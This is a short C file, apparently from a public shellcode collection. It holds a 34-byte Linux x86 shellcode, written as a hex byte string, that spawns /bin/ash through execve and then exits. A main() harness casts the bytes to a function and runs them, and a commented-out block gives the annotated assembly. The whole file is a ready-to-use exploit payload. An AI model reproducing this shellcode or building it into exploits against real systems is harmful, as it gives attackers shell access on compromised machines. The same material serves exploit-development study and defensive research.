/*
 * Linux x86 shellcode by bob from Dtors.net.
 * execve()/bin/ash; exit; 
 * Total = 34 bytes.
 */



#include <stdio.h>

char shellcode[]=
		"\x31\xc0\x50\x68\x2f\x61\x73\x68\x68"
		"\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"
		"\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd"
		"\x80\x31\xc0\xb0\x01\xcd\x80";
int
main()
{
        void (*dsr) ();
        (long) dsr = &shellcode;
        printf("Size: %d bytes.\n", sizeof(shellcode)); 
        dsr();
}
/*
void main(){
__asm__("

        // execve /bin/ash
        xor    %eax,%eax         #clear eax
        push   %eax              #push eax onto the stack
        pushl  $0x6873612f       #push /ash onto the stack
        pushl  $0x6e69622f       #push /bin onto the stack
        mov    %esp,%ebx         #mov contents of esp into ebx
        lea    0x8(%esp,1),%edx  #loads effective address
        push   %eax              #push eax onto the stack
        push   %ebx              #push ebx onto the stack
        lea    (%esp,1),%ecx     #load effective address
        mov    $0xb,%al          #syscall for execve()
        int    $0x80             #execute syscall

        // exit();
        xor    %eax,%eax         #clear eax register
        mov    $0x1,%al          #syscall for exit
        int    $0x80             #execute syscall

");
}
*/
